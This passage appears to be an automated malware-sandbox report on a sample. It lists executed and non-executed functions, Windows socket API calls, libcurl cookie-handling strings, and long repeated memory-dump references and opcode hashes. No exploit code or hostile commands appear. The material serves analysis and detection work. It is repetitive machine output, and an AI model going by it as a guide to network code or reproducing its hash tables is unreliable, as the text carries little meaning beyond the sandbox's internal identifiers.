                                                    • Opcode ID: f7f435346654e6f63737e7392c3593ab27d1b7fb8743160f8d5d74d49060c602
                                                    • Instruction ID: 8d3730df57bae0e36ea60a8d4568dc512437ca6ea0859865cefd57a11e951a84
                                                    • Opcode Fuzzy Hash: f7f435346654e6f63737e7392c3593ab27d1b7fb8743160f8d5d74d49060c602
                                                    • Instruction Fuzzy Hash: BA012BE0D4634156F7116B38AD3F36636946B93304F451868F88D961C6F66EC49CC2D3
                                                    Function 0099F7B0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 168networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: CloseEvent
                                                    • String ID: multi.c
                                                    • API String ID: 2624557715-214371023
                                                    • Opcode ID: d81371a93c177c3a6ca7fe2ea9efd8210ad9140ec77cc52813c869b6dab1cf46
                                                    • Instruction ID: 6178285189da4f21d8729d190eeece262e8198f9387ee5e0225bd7858e97bc53
                                                    • Opcode Fuzzy Hash: d81371a93c177c3a6ca7fe2ea9efd8210ad9140ec77cc52813c869b6dab1cf46
                                                    • Instruction Fuzzy Hash: 615109B1D143005BEF11AA759C52B67B6ACAF91358F080438E88EDB253FB75E909C793
                                                    Function 009978B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: closesocket
                                                    • String ID: FD %s:%d sclose(%d)
                                                    • API String ID: 2781271927-3116021458
                                                    • Opcode ID: 529cb6416425443588beefb1b95e2d5320b07997f67dcaf21baff0bf3629e6e3
                                                    • Instruction ID: 10c16bffc974e1ab58f95f19cc22b35a5813217b355824d6bf10131d69873850
                                                    • Opcode Fuzzy Hash: 529cb6416425443588beefb1b95e2d5320b07997f67dcaf21baff0bf3629e6e3
                                                    • Instruction Fuzzy Hash: CCD05E32A292212B89306A9D7C4DC4BABA8DDC6F60F060C69F94467244D5209C0497E2
                                                    Function 00A5B060 Relevance: 3.0, APIs: 2, Instructions: 48networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • connect.WS2_32(-00000028,-00000028,-00000028,-00000001,-00000028,?,-00000028,00A5B29E,?,00000000,?,?), ref: 00A5B0BA
                                                    • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,00000000,0000000B,?,?,00A43C41,00000000), ref: 00A5B0C1
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastconnect
                                                    • String ID:
                                                    • API String ID: 374722065-0
                                                    • Opcode ID: b56d9b1c780a27728278c3866c3ff6a011fc9a0cd44b1c90f7e575f61724b52e
                                                    • Instruction ID: fcbb0cebcb895cf0fc875d559e6f502840dc18ee3eea3bd4415c5416066dd8a0
                                                    • Opcode Fuzzy Hash: b56d9b1c780a27728278c3866c3ff6a011fc9a0cd44b1c90f7e575f61724b52e
                                                    • Instruction Fuzzy Hash: F401D4363142009BCA205B699C84EABB3A9FF89376F140B64FD7C931E1D736ED548762
                                                    Function 00A5AF70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • getsockname.WS2_32(?,?,00000080), ref: 00A5AFD0
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: getsockname
                                                    • String ID:
                                                    • API String ID: 3358416759-0
                                                    • Opcode ID: 5fbf2c0d64b7ab1b41b73730ae39e67891b83b2abfc6b6bea6a1cf8e5b52ef8b
                                                    • Instruction ID: a2b62d2da202329a8d10eaf442d0a1d5efc2a6ff92ac5cedf37ce0d86a9f0d2b
                                                    • Opcode Fuzzy Hash: 5fbf2c0d64b7ab1b41b73730ae39e67891b83b2abfc6b6bea6a1cf8e5b52ef8b
                                                    • Instruction Fuzzy Hash: CD116670908785A5EB268F18D8027F6B3F4FFD0329F109619E99942150F7765AC98BD2
                                                    Function 00A5A920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • send.WS2_32(?,?,?,00000000,00000000,?), ref: 00A5A97F
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: send
                                                    • String ID:
                                                    • API String ID: 2809346765-0
                                                    • Opcode ID: 0bd915ea99c49d3b9357dbc8b5d29f6ab8eeec86aaf6d304a79708da9911ab32
                                                    • Instruction ID: 7787e10d1f84d477691fc1bd1ec54a757ad516da84d7d337cf281e3de852d2c8
                                                    • Opcode Fuzzy Hash: 0bd915ea99c49d3b9357dbc8b5d29f6ab8eeec86aaf6d304a79708da9911ab32
                                                    • Instruction Fuzzy Hash: 5401A276B10710AFC6148F15DC85B56B7A5FF84721F068659EA982B361C331AC148BE1
                                                    Function 00A5AF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • socket.WS2_32(?,00A5B280,00000000,-00000001,00000000,00A5B280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 00A5AF67
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: socket
                                                    • String ID:
                                                    • API String ID: 98920635-0
                                                    • Opcode ID: 9c30693e5136f42d3ce3aaa72d58cadd30ff0cab24800816f24ab4b8446c693b
                                                    • Instruction ID: d57f74d2b6711e761c5e127d003a438ab2054cb42948210cb2c5e9b502272429
                                                    • Opcode Fuzzy Hash: 9c30693e5136f42d3ce3aaa72d58cadd30ff0cab24800816f24ab4b8446c693b
                                                    • Instruction Fuzzy Hash: C6E0EDB6A093216BD654DB58E8449ABF369EFC4B21F055A4DFC5467304C330AC548BE2
                                                    Function 00A5B020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • closesocket.WS2_32(?,00A59422,?,?,?,?,?,?,?,?,?,?,?,00A43377,00E24C60,00000000), ref: 00A5B04D
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: closesocket
                                                    • String ID:
                                                    • API String ID: 2781271927-0
                                                    • Opcode ID: e799ef0c8573e1c05d5d8505df4bdb6fda5a1d593d1244b670b67cac012cc448
                                                    • Instruction ID: 9ccd47fda439d4aa041d8c0416f46cb906a621d2587af1548761de91e5765546
                                                    • Opcode Fuzzy Hash: e799ef0c8573e1c05d5d8505df4bdb6fda5a1d593d1244b670b67cac012cc448
                                                    • Instruction Fuzzy Hash: 8CD0C23830020157CA20DB14C884A97732B7FD0312FA8CB68E82C4A1D0C73BCC4B8611
                                                    Function 009F67E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ioctlsocket.WS2_32(?,8004667E,?,?,009CAF56,?,00000001), ref: 009F67FC
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: ioctlsocket
                                                    • String ID:
                                                    • API String ID: 3577187118-0
                                                    • Opcode ID: 4362b74594e01fc4cd4c8e368b5735777a7176dd37ac9f40de72e6166d7458e0
                                                    • Instruction ID: 5335767ea5ac199031c40fe1b5b74374b33508c8d32c8bbad6a2ae0802a3cfbb
                                                    • Opcode Fuzzy Hash: 4362b74594e01fc4cd4c8e368b5735777a7176dd37ac9f40de72e6166d7458e0
                                                    • Instruction Fuzzy Hash: 59C012F1118101AFC6088B14D855A6F76D8DB85355F01581CB04A81180EA345994CA1A
                                                    Function 009931D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: CloseHandle
                                                    • String ID:
                                                    • API String ID: 2962429428-0
                                                    • Opcode ID: cecf788a0f248709ca5bf9990ebf883445fef0d93b1df7fbadb080cf95b1f3bb
                                                    • Instruction ID: f108b0eb3aff95cf3479b704990d907d7822766270a45be04182f61189d11cec
                                                    • Opcode Fuzzy Hash: cecf788a0f248709ca5bf9990ebf883445fef0d93b1df7fbadb080cf95b1f3bb
                                                    • Instruction Fuzzy Hash: 6A31A8B49093059FCB10EFB8D58569EBBF4BF44304F00896DE899A7342E7749A84DF92

                                                    Non-executed Functions

                                                    Function 009D1BE0 Relevance: 33.9, Strings: 26, Instructions: 1418COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: #HttpOnly_$%s cookie %s="%s" for domain %s, path %s, expire %lld$;=$;$=$Added$FALSE$Replaced$TRUE$__Host-$__Secure-$cookie '%s' dropped, domain '%s' must not set cookies for '%s'$cookie '%s' for domain '%s' dropped, would overlay an existing cookie$cookie contains TAB, dropping$cookie.c$domain$expires$httponly$invalid octets in name/value, cookie dropped$libpsl problem, rejecting cookie for satety$max-age$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
                                                    • API String ID: 0-1371176463
                                                    • Opcode ID: 87fe90397c7d70ae162d90da5ea5976ae82525982003e7596dd22c386eda7897
                                                    • Instruction ID: c3b3f4d7eb7d46603f6e15bf4acd5cbee8859b7c3b02a98f9bcad1d0d96d433d
                                                    • Opcode Fuzzy Hash: 87fe90397c7d70ae162d90da5ea5976ae82525982003e7596dd22c386eda7897
                                                    • Instruction Fuzzy Hash: F7B24B71A883017BDB249F24DD52B66B7D9AFA4304F04893AF88997382E775EC80D752
                                                    Function 009A4940 Relevance: 17.0, Strings: 13, Instructions: 731COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
